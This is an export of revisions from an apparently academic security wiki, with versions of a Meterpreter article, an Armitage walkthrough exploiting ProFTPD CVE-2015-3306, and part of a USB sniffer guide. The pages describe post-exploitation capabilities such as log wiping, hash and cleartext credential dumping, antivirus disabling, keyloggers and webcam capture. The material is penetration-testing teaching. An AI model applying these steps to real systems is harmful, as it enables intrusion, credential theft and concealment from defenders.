| clearev&lt;br /&gt;
| Deletes all application, system and security logs on the victim machine. Only works for Windows systems.&lt;br /&gt;
|-&lt;br /&gt;
| execute&lt;br /&gt;
| Executes a command on the remote machine specified by the &#039;-f&#039; switch. The executed command can be supplied with arguments by using &#039;-a&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| getsystem&lt;br /&gt;
| This attempts to elevate the current Meterpreter session to system administrator level of authorization.&lt;br /&gt;
|-&lt;br /&gt;
| getuid&lt;br /&gt;
| Displays the user identification of the user the current Meterpreter session is running as.&lt;br /&gt;
|-&lt;br /&gt;
| hashdump&lt;br /&gt;
| Prints all available usernames and their password hashes, making them available for further manipulation like password cracking using additional software or rainbow tables.&lt;br /&gt;
|-&lt;br /&gt;
| help&lt;br /&gt;
| Shows the Meterpreter help menu consisting of a comprehensive list of commands. This menu expands if more extensions are loaded.&lt;br /&gt;
|-&lt;br /&gt;
| ipconfig&lt;br /&gt;
| Prints the network configuration of the target machine in Windows display style.&lt;br /&gt;
|-&lt;br /&gt;
| migrate&lt;br /&gt;
| Migrates the Meterpreter session to the process given as a parameter. This allows further exploitation of the system from within the new process. This should be done to avoid getting thrown out by the user closing the process that served as entry point.&lt;br /&gt;
|-&lt;br /&gt;
| ps&lt;br /&gt;
| Prints a non-interactive list of the currently running processes on the target machine including process IDs, usernames of the process owners and the path to the executables.&lt;br /&gt;
|-&lt;br /&gt;
| search&lt;br /&gt;
|  Searches the system for a file specified by the -f switch. The provided filename may contain wildcards.&lt;br /&gt;
|-&lt;br /&gt;
| sysinfo&lt;br /&gt;
| Prints the target machines name, operating system (including build and service pack if applicable), the architecture of the operating system, the system language, the domain name and the number of currently logged in users.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Extensions ===&lt;br /&gt;
Meterpreter extensions are loaded by using the &#039;&#039;&#039;load&#039;&#039;&#039;-command. Two Extensions are loaded by default:&lt;br /&gt;
* &#039;&#039;&#039;priv&#039;&#039;&#039;: This extension is used for privilege escalation&lt;br /&gt;
* &#039;&#039;&#039;stdapi&#039;&#039;&#039;: This extension supplies core Meterpreter commands like &#039;&#039;getuid&#039;&#039;&lt;br /&gt;
Other frequently used extensions include:&lt;br /&gt;
* &#039;&#039;&#039;kiwi&#039;&#039;&#039;: This extension is used to obtain user credentials and authentication tokens which are retrieved from system memory. This makes it possible for passwords to be displayed in cleartext. In the past the extension was named &#039;&#039;&#039;mimikatz&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039; python &#039;&#039;&#039;: This extension allows the execution of python scripts on the target machine.&lt;br /&gt;
* &#039;&#039;&#039; powershell &#039;&#039;&#039;: This extension allows the execution of powershell scripts on the target machine.&lt;br /&gt;
&lt;br /&gt;
=== Scripts &amp;amp; Modules ===&lt;br /&gt;
Meterpreter includes pre-made scripts for various purposes which are run by using the &#039;&#039;&#039;run&#039;&#039;&#039;-command. The payload includes scripts that can persist Meterpreter sessions, unlock the targets screen or disable Anti-Virus software. Part of the scripts seen in the figure below are now considered deprecated. This is because they are now integrated into the Metasploit Framework as post-exploitation modules. The Meterpreter session can be put into the background to run these modules.&lt;br /&gt;
[[File:Meterpreter Scripts.png|thumb|none|750px|Meterpreter Scripts]]&lt;br /&gt;
&lt;br /&gt;
== Sources ==&lt;br /&gt;
* D. Kennedy, J. O’Gorman, D. Kearns, and M. Aharoni. Metasploit: The Penetration Tester’s Guide. No Starch Press Series. No Starch Press, 2011.&lt;br /&gt;
* M. Miller. Meterpreter specifications. http://www.hick.org/code/skape/papers/meterpreter.pdf, 2004. Accessed: 2022-09-14.&lt;br /&gt;
* Metasploit Unleashed free ethical hacking course. https://www.offensive-security.com/metasploit-unleashed/. Accessed: 2022-11-05.&lt;br /&gt;
* Michael Messner. Hacking mit Metasploit. dpunkt.verlag, 3rd edition, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Meterpreter&amp;diff=10548</id>
		<title>Meterpreter</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Meterpreter&amp;diff=10548"/>
		<updated>2023-01-03T14:01:34Z</updated>

		<summary type="html">&lt;p&gt;BVogler: further modification of the article, fixed typos&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Meterpreter, short for Meta-Interpreter, is a dynamically extendable attack payload included in the Metasploit penetration testing Framework. The payload was developed by Matt Miller under the hacker moniker of Skape and is used in the post-exploitation phase after gaining access to the targeted system. Meterpreter provides a powerful interactive command line interface (CLI) and avoids the risk of being exposed. Running it does not alert intrusion detection systems, like starting a standard shell process will, because it is strictly executed from working memory. Meterpreter does not need a separate process to execute because it is injected into a currently running process. This also means it is executed from memory only, which makes it even harder to detect for Anti-Virus software. Meterpreter provides a variety of commands, additional modules and scripts available to aid in further exploitation. Because it is integrated into the Metasploit Framework it can use its post-exploitation modules as well.&lt;br /&gt;
&lt;br /&gt;
== Meterpreter Basics ==&lt;br /&gt;
Meterpreter is supposed to give the attacker access to a command interpreter on the target machine that offers powerful post-exploitation tools and is also hard to detect with forensic tools. For this Meterpreter was designed with the three goals of being stealthy, powerful and extensible.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Design Goals ===&lt;br /&gt;
==== Stealthy ====&lt;br /&gt;
* Meterpreter is designed to operate in working memory and never write to the physical disk. &lt;br /&gt;
* Meterpreter operates inside running processes and can be migrated to other processes.&lt;br /&gt;
* Meterpreter uses encrypted communication.&lt;br /&gt;
&lt;br /&gt;
==== Powerful ==== &lt;br /&gt;
* Meterpreter utilizes a channelized communication system.&lt;br /&gt;
* The TLV (Type-Length-Value) protocol has few limitations.&lt;br /&gt;
&lt;br /&gt;
==== Extensible ====&lt;br /&gt;
* Meterpreter can be augmented at runtime. Extensions, modules and scripts can be loaded over the network connection.&lt;br /&gt;
* The Meterpreter session does not have to be rebuilt every time new features are added.&lt;br /&gt;
&lt;br /&gt;
=== How does Meterpreter work? ===&lt;br /&gt;
Prerequisite: The target system is already exploited and remote access is established. &lt;br /&gt;
# Meterpreter payload, also called the initial stager, is sent to the target system.&lt;br /&gt;
# Compromised system executes the initial stager, usually bind_tcp, reverse_tcp, etc.&lt;br /&gt;
# The stager loads the needed libraries, the Meterpreter core initializes and established a TLS connection to the attacking system.&lt;br /&gt;
# Meterpreter sends a GET request which Metasploit receives and then configures the client.&lt;br /&gt;
# Meterpreter loads the default extensions (&#039;&#039;&#039;stdapi&#039;&#039;&#039;, &#039;&#039;&#039;priv&#039;&#039;&#039;). The extensions are loaded over the TLS connection using a TLV (Type-Length-Value) protocol.&lt;br /&gt;
&lt;br /&gt;
== Meterpreter Features == &lt;br /&gt;
The Meterpreter CLI is similar to standard shells (sh, zsh, etc.) and provides system, file system and networking commands identical to them (cd, cat, rm, pwd, etc.). Meterpreter also provides additional basic commands, some of which can be seen in the table below, additional commands provided by the default extensions and more commands can be added by loading other extensions.&lt;br /&gt;
&lt;br /&gt;
=== Basic Commands ===&lt;br /&gt;
A selection of commonly used Meterpreter commands can be found in the table below.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Command&lt;br /&gt;
! Description&lt;br /&gt;
|-&lt;br /&gt;
| background&lt;br /&gt;
| Moves the current Meterpreter session to the background giving the user access to the Metasploit command line.&lt;br /&gt;
|-&lt;br /&gt;
| sessions -i &#039;ID&#039;&lt;br /&gt;
| Reactivates the specified session. Using the command without a switch displays all active sessions.&lt;br /&gt;
|-&lt;br /&gt;
| clearev&lt;br /&gt;
| Deletes all application, system and security logs on the victim machine. Only works for Windows systems.&lt;br /&gt;
|-&lt;br /&gt;
| execute&lt;br /&gt;
| Executes a command on the remote machine specified by the &#039;-f&#039; switch. The executed command can be supplied with arguments by using &#039;-a&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| getsystem&lt;br /&gt;
| This attempts to elevate the current Meterpreter session to system administrator level of authorization.&lt;br /&gt;
|-&lt;br /&gt;
| getuid&lt;br /&gt;
| Displays the user identification of the user the current Meterpreter session is running as.&lt;br /&gt;
|-&lt;br /&gt;
| hashdump&lt;br /&gt;
| Prints all available usernames and their password hashes, making them available for further manipulation like password cracking using additional software or rainbow tables.&lt;br /&gt;
|-&lt;br /&gt;
| help&lt;br /&gt;
| Shows the Meterpreter help menu consisting of a comprehensive list of commands. This menu expands if more extensions are loaded.&lt;br /&gt;
|-&lt;br /&gt;
| ipconfig&lt;br /&gt;
| Prints the network configuration of the target machine in Windows display style.&lt;br /&gt;
|-&lt;br /&gt;
| migrate&lt;br /&gt;
| Migrates the Meterpreter session to the process given as a parameter. This allows further exploitation of the system from within the new process. This should be done to avoid getting thrown out by the user closing the process that served as entry point.&lt;br /&gt;
|-&lt;br /&gt;
| ps&lt;br /&gt;
| Prints a non-interactive list of the currently running processes on the target machine including process IDs, usernames of the process owners and the path to the executables.&lt;br /&gt;
|-&lt;br /&gt;
| search&lt;br /&gt;
|  Searches the system for a file specified by the -f switch. The provided filename may contain wildcards.&lt;br /&gt;
|-&lt;br /&gt;
| sysinfo&lt;br /&gt;
| Prints the target machines name, operating system (including build and service pack if applicable), the architecture of the operating system, the system language, the domain name and the number of currently logged in users.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Extensions ===&lt;br /&gt;
Meterpreter extensions are loaded by using the &#039;&#039;&#039;load&#039;&#039;&#039;-command. Some Extensions are loaded by default like the &#039;&#039;&#039;priv&#039;&#039;&#039;-extension which is used for privilege escalation and the &#039;&#039;&#039;stdapi&#039;&#039;&#039;-extension which supplies basic Meterpreter commands like &#039;&#039;&#039;getuid&#039;&#039;&#039;. Frequently used extensions include:&lt;br /&gt;
* &#039;&#039;&#039;kiwi&#039;&#039;&#039; (formerly mimikatz): This extension is used to obtain user credentials and authentication tokens. These are retrieved directly from target systems memory. Passwords can even be displayed directly in cleartext.&lt;br /&gt;
* &#039;&#039;&#039; python &#039;&#039;&#039;: This extensions allows the execution of python scripts on the target machine.&lt;br /&gt;
* &#039;&#039;&#039; powershell &#039;&#039;&#039;: This extensions allows the execution of powershell scripts on the target machine.&lt;br /&gt;
&lt;br /&gt;
=== Scripts &amp;amp; Modules ===&lt;br /&gt;
Meterpreter includes pre-made scripts for various purposes which are run by using the &#039;&#039;&#039;run&#039;&#039;&#039;-command. The payload includes scripts that can persist Meterpreter sessions, unlock the targets screen or disable Anti-Virus software. Part of the scripts seen in the figure below are now considered deprecated. This is because they are now integrated into the Metasploit Framework as post-exploitation modules. A Meterpreter session can be put into the background to run these modules.&lt;br /&gt;
[[File:Meterpreter Scripts.png|thumb|none|750px|Meterpreter Scripts]]&lt;br /&gt;
&lt;br /&gt;
== Sources ==&lt;br /&gt;
* D. Kennedy, J. O’Gorman, D. Kearns, and M. Aharoni. Metasploit: The Penetration Tester’s Guide. No Starch Press Series. No Starch Press, 2011.&lt;br /&gt;
* M. Miller. Meterpreter specifications. http://www.hick.org/code/skape/papers/meterpreter.pdf, 2004. Accessed: 2022-09-14.&lt;br /&gt;
* Metasploit Unleashed free ethical hacking course. https://www.offensive-security.com/metasploit-unleashed/. Accessed: 2022-11-05.&lt;br /&gt;
* Michael Messner. Hacking mit Metasploit. dpunkt.verlag, 3rd edition, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Metasploit_with_Armitage&amp;diff=10435</id>
		<title>Metasploit with Armitage</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Metasploit_with_Armitage&amp;diff=10435"/>
		<updated>2022-11-18T13:37:18Z</updated>

		<summary type="html">&lt;p&gt;BVogler: removed dead link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation describes how to use Armitage GUI with the Metasploit Framework. &lt;br /&gt;
&lt;br /&gt;
Armitage is a Java-based graphical user interface and serves as a free frontend for the Metasploit Framework. The software was first developed by Raphael Mudge in 2013. It is used for the visualization of vulnerable systems, provides suitable exploits and tools for post-exploitation. Access on a single Metasploit RPC instance is possible through multiple Armitage clients. Therefore, teamwork is possible sharing same data, i.e. workspaces and sessions with common event logs. Armitage is a Team Red cooperation, a group of moral hackers (White Hats), whose declared goal is to detect security vulnerabilities before they can be discovered and exploited by destructive hackers (Black Hats). In addition to such projects, the American company offers security audits as well as customized training. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Kali Linux amd64 2019.2&lt;br /&gt;
* Packages: Metasploit Framework&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you should have followed [[Metasploit Framework MSF]] before.&lt;br /&gt;
&lt;br /&gt;
== Attack Process ==&lt;br /&gt;
&lt;br /&gt;
[[File:Ablauf.PNG|thumbnail|upright]]&lt;br /&gt;
&lt;br /&gt;
Armitage is able to perform network scans via NMAP but the import of data from external tools is also supported. Hosts are displayed within a GUI workspace. Afterwards the hosts can be compared with the exploit database provided by Metasploit. If no matching exploits can be found, a so-called Hail Mary Attack is possible. In this case, all available exploits from the database are executed without necessary knowledge of the target system. However, this method leaves traces in the network or on hosts. After a successful attack the available post exploitation tools can be used. Once the necessary rights to the system have been obtained or already existed (root exploit), keyloggers can be installed or existing password hash files can be read from the file system. The execution of remote shells is also possible, e.g.: the installation of further malware. Especially interesting is the possibility to use pivot systems, these are systems that have already been compromised within a network and are used for further attacks in the local network. For this purpose Armitage offers support for the SOCKS proxy modules provided by the Metasploit Framework.&lt;br /&gt;
&lt;br /&gt;
== First Start ==&lt;br /&gt;
&lt;br /&gt;
After successful login to our kali linux desktop, the Armitage GUI can be started as follows.&lt;br /&gt;
&lt;br /&gt;
Select 08 - Exploitation Tools - armitage:&lt;br /&gt;
 &lt;br /&gt;
[[File:Armitage01.PNG]]&lt;br /&gt;
&lt;br /&gt;
Afterwards start with the &#039;Connect&#039; Button:&lt;br /&gt;
&lt;br /&gt;
[[File:Armitage02.png]]&lt;br /&gt;
&lt;br /&gt;
If the metasploit RPC service was not started already, start it with &#039;Yes&#039;:&lt;br /&gt;
&lt;br /&gt;
[[File:Armitage03.PNG]]&lt;br /&gt;
&lt;br /&gt;
There is a specific error occurring sometimes when starting Armitage. This has to do something with the msf database. To fix it, type the following commands in the terminal: &amp;quot;systemctl start postgresql&amp;quot; and &amp;quot;msfdb init&amp;quot;. These commands start the database that Armitage is using and so fix the error.&lt;br /&gt;
&lt;br /&gt;
On the following screenshot you can see the user interface of Armitage.&lt;br /&gt;
&lt;br /&gt;
[[File:ArmitageUI.jpg|700px]]&lt;br /&gt;
&lt;br /&gt;
There are three main sections we can work with: modules, targets and tabs. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Modules:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The modules section can be found on the top left corner of the user interface. It is a file system that lets you navigate through the 4 main modules: auxiliary, exploit, payload and post. Using this tree structured file system we can run auxiliary modules -such as scanning-, exploits, generate payloads and run post-exploitation modules just by selecting and double clicking on the desired module. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Targets:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The targets panel is right next to the modules section. It is a blank area now, but once we do network scan, the available devices will be displayed here. Each target host is shown as a computer icon, represented with its IP address and some other available information, such as the operating systen. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Tabs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The tabs panel shows the operations that has been performed on a host. It is located on the bottom of the user interface. These tabs have different functionalities, but what they have in common is that they somehow allow the attacker to manually perform various types of interaction on the selected hosts. Attacks can be performed either through a command line (Meterpreter), where the user types and executes different commands. They can also be executed by selecting an attack in the targets section, whose results will be displayed in a new tab.&lt;br /&gt;
&lt;br /&gt;
== Example Attack with Armitage ==&lt;br /&gt;
&lt;br /&gt;
Afterwards we will show an example attack with the Armitage GUI.&lt;br /&gt;
&lt;br /&gt;
=== Network Discovery with NMAP ===&lt;br /&gt;
&lt;br /&gt;
Start with an NMAP &#039;Intense Scan&#039; within your local network. This will scan for services on well known ports and provides service and os detection. After selecting the scanner type, a pop-up will appear, in which we will have to specify the IP address range what the scanner is going to search through. The bigger the address range is the more time it will take to finish the scan. &lt;br /&gt;
&lt;br /&gt;
[[File:Armitage04.PNG]] &lt;br /&gt;
&lt;br /&gt;
Afterwards detected hosts will be shown in your workspace:&lt;br /&gt;
&lt;br /&gt;
[[File:Armitage05.PNG]]&lt;br /&gt;
&lt;br /&gt;
You can check services with a right click on the host:&lt;br /&gt;
&lt;br /&gt;
[[File:Workspace03.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Attack ProFTPD Service ===&lt;br /&gt;
&lt;br /&gt;
For our demonstration we will use the Exploit CVE-2015-3306, a well known vulnerability in the mod_copy module of ProFTPD.&lt;br /&gt;
&lt;br /&gt;
With a right click on the host, the Exploit &#039;proftpd_mod_copy&#039; can be selected and executed:&lt;br /&gt;
&lt;br /&gt;
[[File:Workspace04.PNG]]&lt;br /&gt;
&lt;br /&gt;
After a successful attack the host picture will look as follows:&lt;br /&gt;
&lt;br /&gt;
[[File:Workspace05.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we can use the active session for a remote shell:&lt;br /&gt;
&lt;br /&gt;
[[File:Workspace06.PNG]]&lt;br /&gt;
&lt;br /&gt;
We now have access to the remote host, so we should start exploring and looting. We can use post-exploitation modules from the modules panel to interact with the compromised host. Firstly, we could try dumping hashes, cookies, browsing files in hope for valuable information. Furthermore, we could set up keyloggers, take screenshots or if available, take pictures using the webcamera.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.redteamsecure.com/&lt;br /&gt;
* https://www.offensive-security.com/metasploit-unleashed/&lt;br /&gt;
* http://www.proftpd.org/docs/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Meterpreter&amp;diff=10434</id>
		<title>Meterpreter</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Meterpreter&amp;diff=10434"/>
		<updated>2022-11-18T13:31:39Z</updated>

		<summary type="html">&lt;p&gt;BVogler: re-design of article, added missing category tag&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Meterpreter, which is short for Meta-Interpreter, is an attack payload included in the Metasploit Framework. It was developed by Matt Miller under the hacker moniker of Skape. It is used in the post-exploitation phase after an exploit was already used to gain access to a system. It provides a more powerful interactive command line interface (CLI) than a regular shell and also avoids the risk of being exposed since starting a regular shell process could alert the system to intrusion. Meterpreter does not need a separate process to execute since it is injected into a process already running on the target system. This also means it is executed from memory only, which makes it even harder to detect for Anti-Virus software. Meterpreter has a wide variety of commands, additional modules and scripts available for further exploiting a system. Since it is integrated into the Metasploit Framework it can use its post-exploitation modules as well.&lt;br /&gt;
&lt;br /&gt;
== Meterpreter Basics ==&lt;br /&gt;
=== How does Meterpreter work? ===&lt;br /&gt;
# Target system is compromised using an exploit.&lt;br /&gt;
# Compromised system executes the initial Meterpreter payload also called stager (bind_tcp, reverse_tcp, ...)&lt;br /&gt;
# The stager loads the needed DLLs, the Meterpreter core initializes and established a TLS connection to the attacking system.&lt;br /&gt;
# Meterpreter sends a GET request which Metasploit receives and configures the client.&lt;br /&gt;
# Meterpreter loads the default extensions (stdapi and priv) over the TLS connection by using the TLV (Type-Length-Value) protocol.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Design Goals === &lt;br /&gt;
Meterpreter is supposed to give the attacker access to a command interpreter on the target machine that offers powerful post-exploitation tools and is also hard to detect with forensic tools. To achieve this goal three requirements had to be met.&lt;br /&gt;
&lt;br /&gt;
==== Stealthy ====&lt;br /&gt;
The payload had to be stealthy and hard to detect.&lt;br /&gt;
* Meterpreter is designed to operate in working memory and never write to the physical disk. &lt;br /&gt;
* Meterpreter operates inside running processes and can be migrated to other processes.&lt;br /&gt;
* Meterpreter uses encrypted communication.&lt;br /&gt;
&lt;br /&gt;
==== Powerful ==== &lt;br /&gt;
The user rights on the target system can be elevated using privilege escalation.&lt;br /&gt;
* Meterpreter utilizes a channelized communication system.&lt;br /&gt;
* The TLV (Type-Length-Value) protocol has few limitations.&lt;br /&gt;
&lt;br /&gt;
==== Extensible ====&lt;br /&gt;
Meterpreter had to be extensible to adapt to different requirements.&lt;br /&gt;
* Meterpreter can be augmented at runtime. Extensions, modules and scripts can be loaded over the network connection.&lt;br /&gt;
* The Meterpreter session does not have to be rebuilt every time new features are added.&lt;br /&gt;
&lt;br /&gt;
== Meterpreter Features == &lt;br /&gt;
The Meterpreter CLI offers standard commands that are also used in shells like &#039;&#039;&#039;sh&#039;&#039;&#039; and &#039;&#039;&#039;zsh&#039;&#039;&#039;. Additional commands are loaded by default and can be added by loading extensions.&lt;br /&gt;
&lt;br /&gt;
=== Basic Commands ===&lt;br /&gt;
Commonly used Meterpreter commands can be found in the table below.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Command&lt;br /&gt;
! Description&lt;br /&gt;
|-&lt;br /&gt;
| background&lt;br /&gt;
| Moves the current Meterpreter session to the background letting the user use the Metasploit command line.&lt;br /&gt;
|-&lt;br /&gt;
| sessions -i ID&lt;br /&gt;
| Reactivates the specified session. Using the command without a switch shows all active sessions.&lt;br /&gt;
|-&lt;br /&gt;
| clearev&lt;br /&gt;
| Deletes all Application, System and Security logs on the victim machine. Only works for Windows systems.&lt;br /&gt;
|-&lt;br /&gt;
| execute&lt;br /&gt;
| Executes a command on the remote machine specified by the -f switch. The executed command can be supplied with arguments by using -a&lt;br /&gt;
|-&lt;br /&gt;
| getsystem&lt;br /&gt;
| This attempts to elevate the current Meterpreter session to system administrator level of authorization.&lt;br /&gt;
|-&lt;br /&gt;
| getuid&lt;br /&gt;
| Displays the user identification of the user the current Meterpreter session is running as.&lt;br /&gt;
|-&lt;br /&gt;
| hashdump&lt;br /&gt;
| Prints all available usernames and their password hashes, making them available for further manipulation like password cracking using additional software or rainbow tables.&lt;br /&gt;
|-&lt;br /&gt;
| help&lt;br /&gt;
| Shows the Meterpreter help menu consisting of a comprehensive list of commands. This menu expands if more extensions are loaded.&lt;br /&gt;
|-&lt;br /&gt;
| ipconfig&lt;br /&gt;
| Prints the network configuration of the target machine in Windows display style.&lt;br /&gt;
|-&lt;br /&gt;
| migrate&lt;br /&gt;
| Migrates the Meterpreter session to the process given as a parameter. This allows further exploitation of the system from within the new process. This should be done to avoid getting thrown out by the user closing the process that served as entry point.&lt;br /&gt;
|-&lt;br /&gt;
| ps&lt;br /&gt;
| Prints a non-interactive list of the currently running processes on the target machine including process IDs, usernames of the process owners and the path to the executables.&lt;br /&gt;
|-&lt;br /&gt;
| search&lt;br /&gt;
|  Searches the system for a file specified by the -f switch. The provided filename may contain wildcards.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Extensions ===&lt;br /&gt;
Meterpreter extensions are loaded by using the &#039;&#039;&#039;load&#039;&#039;&#039;-command. Some Extensions are loaded by default like the &#039;&#039;&#039;priv&#039;&#039;&#039;-extension which is used for privilege escalation and the &#039;&#039;&#039;stdapi&#039;&#039;&#039;-extension which supplies basic Meterpreter commands like &#039;&#039;&#039;getuid&#039;&#039;&#039;. Frequently used extensions include:&lt;br /&gt;
* &#039;&#039;&#039;kiwi&#039;&#039;&#039; (formerly mimikatz): This extension is used to obtain user credentials and authentication tokens. These are retrieved directly from target systems memory. Passwords can even be displayed directly in cleartext.&lt;br /&gt;
* &#039;&#039;&#039; python &#039;&#039;&#039;: This extensions allows the execution of python scripts on the target machine.&lt;br /&gt;
* &#039;&#039;&#039; powershell &#039;&#039;&#039;: This extensions allows the execution of powershell scripts on the target machine.&lt;br /&gt;
&lt;br /&gt;
=== Scripts &amp;amp; Modules ===&lt;br /&gt;
Meterpreter includes pre-made scripts that can be used for various purposes and are run by using the &#039;&#039;&#039;run&#039;&#039;&#039;-command. It includes scripts that can persist Meterpreter sessions, unlock the targets screen or disable Anti-Virus software. Some of the script seen in the figure below are considered deprecated. Some of those, like the persistence script were integrated directly into the Metasploit Framework. A Meterpreter session can be put into the background to run these post-exploitation modules supplied by Metasploit.&lt;br /&gt;
[[File:Meterpreter Scripts.png|thumb|none|500px|Meterpreter Scripts]]&lt;br /&gt;
&lt;br /&gt;
== Sources ==&lt;br /&gt;
* D. Kennedy, J. O’Gorman, D. Kearns, and M. Aharoni. Metasploit: The Penetration Tester’s Guide. No Starch Press Series. No Starch Press, 2011.&lt;br /&gt;
* M. Miller. Meterpreter specifications. http://www.hick.org/code/skape/papers/meterpreter.pdf, 2004. Accessed: 2022-09-14.&lt;br /&gt;
* Metasploit Unleashed free ethical hacking course. https://www.offensive-security.com/metasploit-unleashed/. Accessed: 2022-11-05.&lt;br /&gt;
* Michael Messner. Hacking mit Metasploit. dpunkt.verlag, 3rd edition, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Meterpreter_Scripts.png&amp;diff=10433</id>
		<title>File:Meterpreter Scripts.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Meterpreter_Scripts.png&amp;diff=10433"/>
		<updated>2022-11-18T13:22:31Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BugBlat_EzSniffer_USB_Protocol_Analyzer&amp;diff=10246</id>
		<title>BugBlat EzSniffer USB Protocol Analyzer</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BugBlat_EzSniffer_USB_Protocol_Analyzer&amp;diff=10246"/>
		<updated>2022-07-08T06:42:31Z</updated>

		<summary type="html">&lt;p&gt;BVogler: minor corrections&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The BugBlat EzSniffer USB Protocol Analyzer is as easy to use, small form factor USB Protocol Analyzer. It uses USB 2.0 technology with micro-B, mini-B and USB-A type ports. It can capture up to 256 MB of traffic at a time. The companion application is easy to use, easy to set up and provides additional information concerning the captured packets. The EzSniffer is best suited to capture regular data transfers (e.g., thumbdrives or other external drives) but cannot capture data from input devices like an USB mouse.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
Analysis host&lt;br /&gt;
* USB Type A socket&lt;br /&gt;
* USB Type A to USB mini-B cable (included in EzSniffer plus EZ-USB Package)&lt;br /&gt;
Sniffed USB Connection&lt;br /&gt;
* Type A to Type micro-B cable to connect to a host device that receives the packets&lt;br /&gt;
* Type A to Type A cable to connect to a target device that sends the packets&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_host.jpg|thumb|none|500px|Host and analysis port]]&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_device.jpg|thumb|none|500px|Device port]]&lt;br /&gt;
&lt;br /&gt;
Software&lt;br /&gt;
* [https://www.bugblat.com/products/ezsniff/index.html EzSniff application] available for Linux/Windows&lt;br /&gt;
* Additional [https://zadig.akeo.ie/ driver] necessary for Windows&lt;br /&gt;
# Download the driver&lt;br /&gt;
# Plug in the EzSniffer&lt;br /&gt;
# Run the Zadig executable&lt;br /&gt;
# Choose &#039;&#039;Cypress FX2LP&#039;&#039; from the device list (if not shown tick &#039;&#039;List All Devices&#039;&#039; in Options) (remark: upon testing &#039;&#039;unknown device #1&#039;&#039; showed instead but it worked regardless)&lt;br /&gt;
# Select the WinUSB driver&lt;br /&gt;
# Click &#039;&#039;Replace Driver&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
After installing the EzSniff application, make sure to that the analysis computer is connected to the USB Port located on the blue Microcontroller Board (&#039;&#039;EZ-USB FX2LP&#039;&#039;) and that the blue switch is in the &#039;&#039;On&#039;&#039;-position, i.e. pressed down. Start the application and you will see a default screen where you can see example packets that you can click on to receive additional information in the decode screen on the top right. On the bottom right you can see the raw data displayed.&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_cap_raw.png|thumb|none|1000px|Default screen showing raw data]]&lt;br /&gt;
&lt;br /&gt;
Before trying to capture anything, you should connect a host machine to the host port on the green EzSniffer board and a USB device to the device side of the board. To start capturing simply click on &#039;&#039;Capture&#039;&#039; and the capture window will open. Here you can control the connection between host and device and you can set the buffer size for the capture. You can establish and sever the connection between device and host by clicking the respective buttons. Upon starting the capture the device automatically connects. This can be handy to capture a newly forming USB connection. Note that the EzSniffer will capture only data up to the set buffer value. This value can be up to 256 MB and it is set to a default of 32 KB. For our first test we will set this buffer to 4MB and we will try to transmit a .docx file to a regular USB Thumbdrive.&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_cap_start.png|thumb|none|500px|Start of captured data]]&lt;br /&gt;
&lt;br /&gt;
